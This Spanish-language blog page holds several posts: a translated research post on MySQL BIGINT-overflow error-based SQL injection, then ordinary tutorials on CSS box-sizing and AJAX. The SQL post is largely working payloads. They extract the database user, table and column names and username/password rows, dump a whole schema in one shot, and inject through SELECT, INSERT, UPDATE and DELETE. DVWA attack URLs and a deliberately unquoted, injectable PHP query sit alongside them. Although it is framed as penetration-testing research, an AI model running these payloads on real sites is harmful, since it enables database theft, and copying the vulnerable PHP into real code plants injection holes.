domingo, 12 de julio de 2015

Desbordamiento BGINT - Inyeccion SQL basada en error

Hola el otra vez estaba chateando con un amigo Osanda Malith Jayathissa y le pregunte si podria traducir algunos de sus post y gracias a que me dejo hoy les traducire un post muy bueno que he visto en su blog.

Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com


Empecemos... 

Les recomiendo tambien: http://arthusu.blogspot.mx/2013/04/double-query-error-based-sql-injection.html

Resumen

Yo estaba interesado en conocer nuevas tecnicas que podamos utilizar para la extraccion de datos a traves de errores de MySQL. Esto es un detallado relato que le hara entender como hice estas consultas. Cuando miramos como MySQL trata enteros me interesaban los desbordamientos que causan. Asi es como MySQL almacena numeros enteros.


(Fuente: http://dev.mysql.com/doc/refman/5.5/en/integer-types.html

Estos errores de desbordamiento son causados en las versiones 5.5.5 y superiores. En las versiones inferiores un desbordamiento de enteros se traduciria en un envolvente silencio. El tipo de datos BGINT es de 8 bytes de tamaño lo que significa que es de 64 bits. Si tomamos el valor maximo firmado de un BGINT es "0b0111111111111111111111111111111111111111111111111111111111111111",
"0x7fffffffffffffff", "9223372036854775807" en binario, hexadecimal y decimal respectivamente. Una vez que evaluamos expresiones numericas como adicion causara un "valor BGINT esta fuera de rango (BIGINT value is out of range)" como error.

mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
Para solucionar el error anterior podriamos simplemente encasillarlo en un unsined int (entero sin asignar). Si nos fijamos en el valor maximo de BGINT sin asignar es "0b1111111111111111111111111111111111111111111111111111111111111111",
"0xFFFFFFFFFFFFFFFF","18446744073709551615" en binario, hexadecimal y decimal respectivamente. Asi mismo se aplica, si evaluamos expresiones numericas de este valor como la adicion o sustraccion causara un "BIGINT value is out of range" como error.


# En decimal

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551
615 + 1)'


# En binario

mysql> select cast(b'11111111111111111111111111111111111111111111111111111111111
11111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'


# En hexadecimal

mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'

¿Y si hacemos una negacion bit a bit a "0"? El resultado sera el valor maximo BGINT sin asignar. Este es un hecho evidente. 




mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

Asi que si, si sumamos o restamos del ~0 que dara lugar a un desbordamiento BGINT.


mysql> select 1-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

Inyeccion

Yo queria aplicar subconsultas y causar un desbordamiento BGINT para de esa manera extraer los datos. Si nos fijamos en la negacion logica deberia devolver 1 para cualquier consulta. Por ejemplo, si se aplica una negacion logica de una consulta como (select * from (select user())x);

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost                |
+-------------------------------+
1 row in set (0.01 sec)

 # Aplicando negacion logica

mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.01 sec)

Si, perfecto! asi que simplemente nosotros podemos combinar ambos tanto nivel de bits (bitwise) y negaciones logicas y construir la consulta basada en error.

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (not((sele
ct 'root@localhost' from dual))))'
Vamos a dejar de usar el signo de adicion '+' se convertira en un espacio a analizar a traves del navegador web. En su lugar podemos utilizar la resta. Estas son algunas variaciones de la misma  inyeccion. Las consultas finales serian.

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)
Por ejemplo aplicaquemos esta inyeccion en una consulta como esta:

mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0
))'
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -&Submit=Submit#

Utilizando desbordamiento BGINT basado en error podemos usar casi cualquier funcion matematica valida en MySQL como estas, ya que ellas se niegan. Solo tiene que pasar los argumentos de acuerdo a la funcion.

select !atan((select*from(select user())a))-~0;
select !log((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
He probado con lo siguiente. usted puede encontrar mas:

HEX
IN
FLOOR
LOG
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

Extraccion de datos

La extraccion de datos es normal igual que otras inyecciones. Mostrare un poco. Conseguir los nombres de las tablas:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

Obtener los nombres de columna:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

Obteniendo datos:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;


Dump in one shot

Antes de continuar aqui les recomiendo leer: http://arthusu.blogspot.mx/2015/01/dios-dump-in-one-shot-explicado.html

¿Podemos volcar (dumpear) todas las bases de datos, las tablas y las columnas en un solo disparo? La respuesta es si. Pero cuando tratamos de volcar tablas y columnas de todas las bases de datos podemos obtener solo unos pocos resultados de vuelta ya que estamos tratando de recuperar los datos a traves de un error. Pero podemos recuperar hasta 27 resultados cuando tratamos de volcar la base de datos actual. Estas son algunas variaciones de las de anteriores (arriba):


!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)




Las limitaciones serian el numero de resultados que podemos recuperar. Supongamos que puedo crear una tabla con 31 columnas dentro de esta base de datos. Solo 27 serian vistos y mis otras 4 tablas y columnas de usuarios no se devolverian.




Inyeccion en INSERT

En declaraciones de INSERT podemos inyectar asi. La sintaxis seria " OR (PAYLOAD) OR "", las comillas dependen de la consulta. Usted puede leer mi investigacion anterior sobre este tema desde mi blog o whitepaper.  

mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Tambien podemos realizar la consulta DIOS.

insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

Inyeccion en UPDATE

En la inyeccion de UPDATE es igual que en la de INSERT. Podemos inyectar asi.

mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Inyeccion en DELETE

Igual que las anteriores podemos usar la inyeccion en DELETE.

mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Conclusion

Como conclusion hay que tener en cuenta lo siguiente. Para llevar a cabo esta inyeccion debe haber un mysql_error() haciendo echo devuelta a nosotros por eso la inyeccion es a base de errores. La version de MySQL debe ser 5.5.5 o superior. Puede haber muchas variaciones de estas inyecciones de desbordamiento. Por ejemplo, incluso XORing 0 con un valor como 222 y restando podemos causar un desbordamiento de BGINT.

mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

Si el backend no tiene comillas simples, doble comillas o parentesis. Por ejemplo, si modifico el codigo de DVWA asi, eliminando las comillas. Simplemente podemos inyectar sin hacer la consulta falsa por OR 1.




 
<?php   
 
if(isset($_GET['Submit'])){
    // Retrieve data
    $id = $_GET['id'];
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    $num = mysql_numrows($result);
    $i = 0;
    while ($i < $num) {
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name"); 
        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';
        $i++;
    }
}
?>


http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222
&Submit=Submit#


 

Espero que esta investigacion sea util durante las pruebas de penetracion. 

Referencias

[1] http://dev.mysql.com/doc/refman/5.5/en/integer-types.html
[2] https://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html
[3] https://dev.mysql.com/doc/refman/5.0/en/mathematical-functions.html


Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com
 


domingo, 14 de junio de 2015

Box-sizing: el secreto para diseños simples

Box-sizing es una propiedad CSS que hace que los diseños CSS trabajen intuitivamente. Si usted ha estado trabajando con CSS por cualquier periodo de tiempo, sabes que puede ser confuso utilizar caracteristicas como width, padding y border. Aveces cuando se utiliza la propiedad width, no siempre aplica de la manera en la que usted podria esperar, sin embargo con la propiedad box-sizing, un ancho de 200px realmente significa un ancho de 200px renderizado. Que no implica ninguna magia de Javascript, y funciona incluso a traves de navegadores en IE8. Profundicemos.

El modelo de caja

La anchura (width) y altura (height) de cualquier elemento de una pagina web se rige por el modelo de caja CSS. Los matices del modelo de caja pueden ser algo complejos, pero la parte mas importante de entender es como se calculan la altura y anchura prestadas. Una combinacion de varias propiedades CSS forma la anchura (width) real representada y la altura de la pagina.

padding + border + width = anchura real procesada
padding + border + height = altura real procesada

Eso es un poco confuso, asi que aqui hay una ilustracion que les puede ayudar.

Sin box-sizing, la propiedad width representa el area de contenido del elemento. El tamaño real prestado representa el width, padding y border.

Esto significa que si establece un ancho de algo parecido a 200px o un ancho relativo del 25% el elemento solo sera de ese tamaño exacto si no tiene padding o border. Si tiene padding o border (o ambos), el tamaño real prestado sera mayor. Dicho de otro modo, la propiedad width significa simplemente la anchura del area de contenido y no la anchura total del elemento.

Como resultado, calcular un ancho (width) deseado en la pagina implica restar el padding y border de la propiedad width. Por ejemplo, si establece un width de 200px y luego desea 20px de padding a cada lado, tienes que pedir prestado 40px (20px y 20px para derecha e izquierda) del width. Lo mismo es valido para la propiedad border. Esto hace el codigo mucho menos legible, por que el elemento procesado aun es de 200px, podria tener codigo que se lee como esto:

.sidebar{
    width: 158px;
    padding: 20px;
    border:1px solid #DDD;
}


No es muy intuitivo par la propiedad width a decir 158px si el ancho real prestado es 200px. Afortunadamente, hay un mejor metodo que logra el mismo resultado.

* {box-sizing: border-box;}

En lugar de calcular el ancho (width) incluyendo el padding y border, la propiedad box-sizing en combinacion con el valor border-box utiliza la propiedad width como el ancho real prestado. El codigo anterior podria modificarse para ver algo como esto:

.sidebar{
    box-sizing:border-box;
    width: 200px;
    padding:20px;
    border:1px solid #DDD;
}


Cualquier padding o border que se aplique no se agregará a la anchura procesada. Por el contrario, se restaran automaticamente desde el espacio de contenido (content). Esto resulta en un codigo mucha mas legible. Aqui esta una imagen que ayuda a ilustrar como box-sizing:border-box calcula el ancho.


Con box-sizing habilitado, la propiedad width es la real representada del ancho del elemento. El area del contenido es automaticamente establecido con el tamaño del ancho restante, despues de haber restado el padding y el border.

De hecho, muchos reputados diseñadores y desarrolladores web han defendido utilizando box-sizing:border-box; a traves de todos los elementos de la pagina para un enfoque mas natural e intuitivo de diseño, Paul Irish recomienda usar el siguiente codigo:

*, *:before, *:after{
    -moz-box-sizing:border-box;
    -webkit-box-sizing:border-box;
    box-sizing:border-box;
}


La propiedad box-sizing no es nada nuevo, pero solo en los ultimos años a sido una tecnica viable gracias al apoyo del navegador internet explorer (y version anterior de ie fuera de uso). Este codigo funciona en ie8, que es bastante perdonador considerando que la version ie11 es la version mas reciente. Para obtener mas informacion sobre compatibilidad de tu navegador, compruebe las tablas de soporte de caniuse.com para border-box.

Recursos box-sizing

Como si box-sizing no fuese lo suficientemente grande, podria estar encantado de encontrar que ya esta dentro de front-end frameworks como bootstrap. Por defecto estos frameworks aplican convenientemente box-sizing a todo, esto hace mas facil de entender sus sistemas de grillas (grid systems).

Traducido por arthusu desde treehouse blog


 

sábado, 13 de junio de 2015

[Minitutorial]AJAX

Introduccion a AJAX

AJAX es acerca de la actualizacion de las partes de una pagina web, sin necesidad de recargar toda la pagina. 

¿Que deberia de saber? 

Antes de continuar deberia tener una comprension basica de lo siguiente:

* HTML / XHTL
* CSS
* Javascript / DOM

¿Que es AJAX?

AJAX = Asynchronous Javascript and XML.
AJAX es una tecnica para crear paginas web rapidas y dinamicas. AJAX permite a paginas web actualizarse de forma asincrona intercambiando pequeñas cantidades de datos con el servidor en segundo plano. Esto significa que es posible actualizar partes de una pagina web, sin necesidad de recargar toda la pagina. Paginas web clasicas (que no usan AJAX) deben volver a cargar toda la pagina si el contenido cambia. Algunos ejemplos de aplicaciones usando AJAX: las pestañas de Google Maps, Gmail, Youtube y Facebook.

Como trabaja AJAX


AJAX se basa en estandares de internet

AJAX se basa en estandares de internet y utiliza una combinacion de:

* Objeto XMLHttpRequest (para intercambiar datos asincronicamente con el servidor)
* Javascript/DOM (Para mostrar, interactuar con la informacion)
* CSS (El estilo de los datos)
* XML (A menudo utilizado como el formato de transferencia de datos)

Aplicaciones AJAX son independientes del navegador y plataforma. 

Google sugestor

AJAX se hizo popular en 2005 por Google, con Google sugestor.
Google sugestor es usando AJAX para crear una interfaz web muy dinamica: cuando empiezas a escribir en el buscador de Google, un javascript envia las letras a un servidor y el servidor devuelve una lista de sugerencias.

Empezar a usar AJAX hoy

AJAX se basa en las normas vigentes. Estas normas han sido usadas por los desarrolladores durante varios años. 

Ejemplo de AJAX

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>AJAX</title>
</head>
<script type="text/javascript">
    function loadXMLDoc(){
        var xmlhttp;
        if(window.XMLHttpRequest){
            // codigo para IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        }else{
            // codigo para IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange=function(){
            if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
                document.getElementById("midiv").innerHTML=xmlhttp.responseText;
            }
        }
        xmlhttp.open("GET","ajax_info.txt",true);
        xmlhttp.send();
    }

</script>
<body>
    <div id="midiv"><h2>Deja que AJAX cambie este texto</h2></div>
    <button type="button" onclick="loadXMLDoc()">Cambiar el contenido</button>
</body>
</html>


ajax_info.txt:

AJAX no es un nuevo lenguaje de programacion.<br />
AJAX es una tecnica para crear sitios webs rapidos y dinamicos.


Ejemplo de AJAX explicado

La aplicacion AJAX de arriba contiene una seccion div y un button. La seccion div se utilizará para mostrar la informacion devuelta desde un servidor. El boton llama a una funcion llamada loadXMLDoc(), si se hace clic en:

<button type="button" onclick="loadXMLDoc()">Cambiar el contenido</button>

A continuacion, agregamos una etiqueta de <script> a la seccion head de la pagina. La seccion del script contiene la funcion loadXMLDoc():

function loadXMLDoc(){
// el script ajax va aqui
}

AJAX crea un objeto XMLHttpRequest

La piedra angular de AJAX es el objeto XMLHttpRequest

El Objeto XMLHttpRequest

Todos los navegadores modernos apoyan el objeto XMLHttpRequest (IE5 e IE6 utilice ActiveXObject). Se utiliza el objeto XMLHttpRequest para intercambiar datos con el servidor en segundo plano. Esto significa que es posible actualizar partes de una pagina web, sin necesidad de recargar toda la pagina.

Crear un objeto XMLHttpRequest

Todos los navegadores modernos (ie7+, firefox, chrome, safari, opera) tienen un objeto XMLHttpRequest integrado. Sintaxis para crear un objeto XMLHttpRequest:

variable = new XMLHttpRequest();

Versiones antiguas de internet explorer (ie5, ie6) utilizan el objeto Activex:

variable = new ActiveXObject();

Para manejar todos los navegadores modernos incluyendo IE5 y IE6, compruebe que el explorador admite el objeto XMLHttpRequest. Si lo hace crear un objeto XMLHttpRequest, sino crear un objeto ActiveXObject.

if(window.XMLHttpRequest){
            // codigo para IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        }else{
            // codigo para IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        } 
 


AJAX enviar una solicitud al servidor

Se utiliza el objeto XMLHttpRequest para intercambiar datos con un servidor.

Enviar una solicitud a un servidor

Para enviar una solicitud a un servidor, utilizamos los metodos open() y send() del objeto XMLHttpRequest:

xmlhttp.open("GET","ajax_info.txt",true);
xmlhttp.send();

+------------------------+-------------------------------------------------------------------------------+
| Metodo                 | Descripcion                                                                   |
+------------------------+-------------------------------------------------------------------------------+
| open(method,url,async) | Especifica el tipo de solicitud, la direccion URL, y si la solicitud debe ser |
|                        | manejada de forma asincrona o no.                                             |
|                        | * method: el tipo de peticion GET o POST.                                     |
|                        | * url: la ubicacion del archivo en el servidor.                               |
|                        | * async: true (asincrona) o falso (sincrono)                                  |
+------------------------+-------------------------------------------------------------------------------+
| send(string)           | Envia la solicitud al servidor.                                               |
|                        | * string: utilizado para las peticiones por POST.                             |
+------------------------+-------------------------------------------------------------------------------+ 
 
¿GET o POST?

GET es mas sencillo y rapido que POST, y puede ser utilizado en la mayoria de los casos. Sin embargo, siempre se puede usar POST cuando la peticion:

* Un archivo almacenado en caché no es una opcion (actualizacion de un archivo o base de datos del servidor)
* Enviar una gran cantidad de datos al servidor (POST no tiene limitaciones de tamaño)
* Envio de inputs del usuario (que puede contener caracteres desconocidos), POST es mas robusto y seguro que GET

Peticiones GET

Una simple peticion GET.

Ejemplo:

xmlhttp.open("GET","demo_get.php",true);
xmlhttp.send();


En el ejemplo anterior, usted puede obtener un resultado del cache:

Ejemplo:

xmlhttp.open("GET","demo_get.php?t=" + Math.random(),true);
xmlhttp.send();


Si desea enviar informacion con el metodo GET, agregue la informacion a la URL:

xmlhttp.open("GET","demo_get2.php?nombre=Henry&apellido=Ford",true);
xmlhttp.send();


Peticiones POST

Una simple peticion POST:

xmlhttp.open("POST","demo_post.php",true);
xmlhttp.send();

Para enviar datos como un formulario HTML, agregue un encabezado HTTP con setRequestHeader() y especificar los datos que desea enviar en el metodo send():

xmlhttp.open("POST","demo_post.php",true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send("nombre=Henry&apellido=Ford");


+----------------------------------+------------------------------------------------+
| Metodo                           | Descripcion                                    |
+----------------------------------+------------------------------------------------+
| setRequestHeader(cabecera,valor) | Agrega una cabecera HTTP a la peticion.        |
|                                  | Cabecera: especifica el nombre de la cabecera. |
|                                  | Valor: especifica el valor de la cabecera      |
+----------------------------------+------------------------------------------------+


La URL - un archivo en el servidor


El parametro URL del metodo open(), es una direccion a un archivo en el servidor:


xmlhttp.open("GET","ajax_prueba.php",true);


El archivo puede ser cualquier tipo de archivo como .txt o .xml o scripts de servidor tales como .asp o .php (que pueden realizar acciones en el servidor antes de enviar la respuesta de nuevo hacia atras).

¿Asincronico - verdadero o falso?

AJAX significa asynchronous javascript and xml, y para que el objeto XMLHttpRequest se comporte como AJAX, ha establecido el parametro del metodo open() de async en true:

xmlhttp.open("GET","ajax_prueba.php",true);

Enviar solicitudes asincronicas es una enorme mejora para desarrolladores web. Muchas de las tareas ejecutadas en el servidor son muy lentas. Antes AJAX, podia causar que la aplicacion se colgara y parará. Con AJAX, javascript no tiene que esperar la respuesta del servidor, pero puede en cambio:

* Ejecutar otros scripts esperando respuesta
* Lidiar con la respuesta cuando la respuesta este lista

Async=true

Cuando use async=true, especifica una funcion a ejecutar cuando la respuesta esta en el evento onreadystatechange:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>AJAX</title>
</head>
<script type="text/javascript">
    function loadXMLDoc(){
        var xmlhttp;
        if(window.XMLHttpRequest){
            // codigo para IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        }else{
            // codigo para IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange=function(){
            if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
                document.getElementById("midiv").innerHTML=xmlhttp.responseText;
            }
        }
        xmlhttp.open("GET","ajax_info.txt",true);
        xmlhttp.send();
    }

</script>
<body>
    <div id="midiv"><h2>Deja que AJAX cambie este texto</h2></div>
    <button type="button" onclick="loadXMLDoc()">Cambiar el contenido</button>
</body>
</html>


Async=false


Usar async=false, cambia el tercer parametro del metodo open() en false:


xmlhttp.open("GET","ajax_info.txt",false);


Usar async=false, no es recomendable pero para unas peticiones pequeñas esto puede ser aceptable. Recuerde que javascript no continuará ejecutandose, hasta que el servidor este listo. Si el servidor esta ocupado o lento, la solicitud se parará o colgará.
Nota: cuando usted use async=false, no escriba una funcion onreadystatechange, solo ponga el codigo despues de la declaracion send().


<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>AJAX</title>
    <script type="text/javascript">
        function loadXMLDoc(){
            var xmlhttp;
            if(window.XMLHttpRequest){
                // codigo para IE7+, firefox, chrome, opera, safari
                xmlhttp = new XMLHttpRequest();
            }else{
                // codigo para IE6, IE5
                xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlhttp.open("GET","ajax_info.txt",false);
            xmlhttp.send();
            document.getElementById("midiv").innerHTML = xmlhttp.responseText;
        }
    </script>
</head>
<body>
    <div id="midiv">
        <h2>Deja que AJAX cambie este texto</h2>
        <button type="button" onclick="loadXMLDoc()">Cambiar el contenido</button>
    </div>
</body>
</html>



AJAX - respuesta del servidor


Para obtener la respuesta de un servidor, utilice la propiedad responseText o responseXML del objeto XMLHttpRequest.


+--------------+------------------------------------------------+
| Propiedad    | Descripcion                                    |
+--------------+------------------------------------------------+
| responseText | obtiene los datos de respuesta como una cadena |
+--------------+------------------------------------------------+
| responseXML  | obtiene los datos de respuesta como datos XML  |
+--------------+------------------------------------------------+


La propiedad responseText


Si la respuesta del servidor no es XML, utilice la propiedad responseText. La propiedad responseText devuelve la respuesta como una cadena, y se puede utilizar por consiguiente:

document.getElementById("midiv").innerHTML=xmlhttp.responseText;

La propiedad responseXML

Si la respuesta del servidor es XML y desea analizar como un objeto XML, utilice la propiedad responseXML:

Ejemplo

Solicitar el archivo cd_catalog.xml y analizar la respuesta:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>AJAX</title>
    <script type="text/javascript">
        function loadXMLDoc(){
            var xmlhttp;
            var txt, x, i;
            if(window.XMLHttpRequest){
                xmlhttp=new XMLHttpRequest();
            }else{
                xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlhttp.onreadystatechange=function(){
                if(xmlhttp.readyState==4 && xmlhttp.status==200){
                    xmlDoc = xmlhttp.responseXML;
                    txt="";
                    x=xmlDoc.getElementsByTagName("ARTIST");
                    for(i=0;i<x.length;i++){
                        txt= txt + x[i].childNodes[0].nodeValue + "<br>";
                    }
                    document.getElementById("midiv").innerHTML=txt;
                }
            }
            xmlhttp.open("GET","cd_catalog.xml",true);
            xmlhttp.send();
        }
    </script>
</head>
<body>
    <h2>Mi coleccion de CD's:</h2>
    <div id="midiv"></div>
    <button type="button" onclick="loadXMLDoc()">Obtener mi coleccion de CD's</button>
</body>
</html>


AJAX - el evento onreadystatechange

Cuando se envia una solicitud a un servidor, queremos realizar algunas acciones basados en las respuestas. El evento onreadystatechange se activa cada vez que readyState cambia. La propiedad readyState tiene el status de XMLHttpRequest. Tres importantes propiedades del objeto XMLHttpRequest:



+--------------------+------------------------------------------------------------------------+
| Propiedad          | Descripcion                                                            |
+--------------------+------------------------------------------------------------------------+
| onreadystatechange | almacena una funcion (o el nombre de la funcion) que se                |
|                    | llama automaticamente cada vez los cambios de la propiedad readyState. |
+--------------------+------------------------------------------------------------------------+
| readyState         | Tiene la condicion de XMLHttpRequest. Cambia desde el 0 al 4:          |
|                    | 0: peticion no inicializada                                            |
|                    | 1: conexion de servidor establecido                                    |
|                    | 2: solicitud recibida                                                  |
|                    | 3: proceso de solicitud                                                |
|                    | 4: acabado de peticion y respuesta lista                               |
+--------------------+------------------------------------------------------------------------+
| status             | 200: "OK"                                                              |
|                    | 404: Page not found                                                    |
+--------------------+------------------------------------------------------------------------+




Ejemplo:


xmlhttp.onreadystatechange=function{
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById("midiv").innerHTML=xmlhttp.responseText;
}
}


Nota: El evento onreadystatechange se dispara cinco veces (0-4), una vez para cada cambio de readyState.


Usando una funcion de devolucion de llamada (callback)


Una funcion callback es una funcion que se pasa como parametro a otra funcion. Si tienes mas de una tarea AJAX en tu web, debe crear una funcion estandar para crear el objeto XMLHttpRequest y llamar a esta para cada tarea de AJAX. La llamada de funcion debe contener la direccion URL y qué hacer en onreadystatechange (que es probablemente diferente para cada llamada):

Ejemplo:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>AJAX</title>
    <script type="text/javascript">
        var xmlhttp;
        function loadXMLDoc(url,cfunc){
            if(window.XMLHttpRequest){
                xmlhttp = new XMLHttpRequest();
            }else{
                xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlhttp.onreadystatechange=cfunc;
            xmlhttp.open("GET",url,true);
            xmlhttp.send();
        }

        function myFunction(){
            loadXMLDoc("ajax_info.txt",function(){
                if(xmlhttp.readyState==4 && xmlhttp.status==200){
                    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
                }
            });
        }
    </script>
</head>
<body>
    <div id="myDiv"><h2>Dejar que AJAX cambie este texto</h2></div>
    <button type="button" onclick="myFunction()">Cambiar el contenido</button>
</body>
</html>


AJAX y PHP

AJAX es utilizado para crear aplicaciones mas interactivas.

AJAX PHP Ejemplo


El siguiente ejemplo demostrará como una pagina puede comunicarse con un servidor web solo tecleando caracteres en un campo de entrada:

http://www.w3schools.com/ajax/tryit.asp?filename=tryajax_suggest_php

Cuando el usuario escribe un caracter en el campo de entrada se ejecuta una funcion llamada "showHint()", la funcion se activa en el evento onkeyup. Aqui esta el codigo HTML:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>AJAX</title>
    <script type="text/javascript">
        function showHint(str){
            if(str.length==0){
                document.getElementById("txtHint").innerHTML="";
                return;
            }else{
                var xmlhttp=new XMLHttpRequest();
                xmlhttp.onreadystatechange=function(){
                    if(xmlhttp.readyState==4 && xmlhttp.status==200){
                        document.getElementById("txtHint").innerHTML=xmlhttp.responseText;
                    }
                }
                xmlhttp.open("GET","gethint.php?q="+str,true);
                xmlhttp.send();
            }
        }
    </script>
</head>
<body>
    <p><b>Comienza a teclear un nombre en el campo de entrada de abajo:</b></p>
    <form action="">
        Primer nombre: <input type="text" id="txt1" onkeyup="showHint(this.value)">
    </form>
    <p>Sugerencias: <span id="txtHint"></span></p>
</body>
</html>


Explicacion del codigo:

En primer lugar, comprobamos si el campo de entrada esta vacio (str.length == 0). Si es asi, dejamos en blanco el contenido del marcador txtHint (el span) y salimos de la funcion. Sin embargo, si el campo no esta vacio, hará lo siguiente:

* Crear un objeto XMLHttpRequest
* Crear una funcion a ejecutar cuando la respuesta del servidor esta lista
* Enviar la solicitud a un archivo PHP (gethint.php) en el servidor
* Observe que el parametro q es agregado gethint.php?q="+str
* La variable str tiene el contenido del campo de entrada

El archivo gethint.php

El archivo PHP comprueba una serie de nombres y devuelve el nombre correspondiente al navegador:

<?php
    // array con nombres
    $a[] = "Anna";
    $a[] = "Brittany";
    $a[] = "Cinderella";
    $a[] = "Diana";
    $a[] = "Eva";
    $a[] = "Fiona";
    $a[] = "Gunda";
    $a[] = "Hege";
    $a[] = "Inga";
    $a[] = "Johanna";
    $a[] = "Kitty";
    $a[] = "Linda";
    $a[] = "Nina";
    $a[] = "Ophelia";
    $a[] = "Petunia";
    $a[] = "Amanda";
    $a[] = "Raquel";
    $a[] = "Cindy";
    $a[] = "Doris";
    $a[] = "Eve";
    $a[] = "Evita";
    $a[] = "Sunniva";
    $a[] = "Tove";
    $a[] = "Unni";
    $a[] = "Violet";
    $a[] = "Liza";
    $a[] = "Elizabeth";
    $a[] = "Ellen";
    $a[] = "Wenche";
    $a[] = "Vicky";

    // obtenemos el parametro q de la url
    $q = $_GET['q'];
    $hint='';

    // buscamos todas las sugerencias en el array si $q es diferente de ""
    if($q !== ''){
        $q = strtolower($q);
        $len = strlen($q);
        foreach($a as $name){
            if(stristr($q,substr($name, 0, $len))){
                if($hint === ''){
                    $hint = $name;
                }else{
                    $hint .= ", $name";
                }
            }
        }
    }

    // Mostramos "no hay sugerencias" si no se encontro ningun hint o una salida con valores correctos
    echo $hint === '' ? 'No hay sugerencias' : $hint;
?>


 
Hasta aqui este minitutorial de AJAX, el cual fue una traduccion de W3schools






viernes, 5 de junio de 2015

[Parte 10]jQuery

jQuery - Efectos

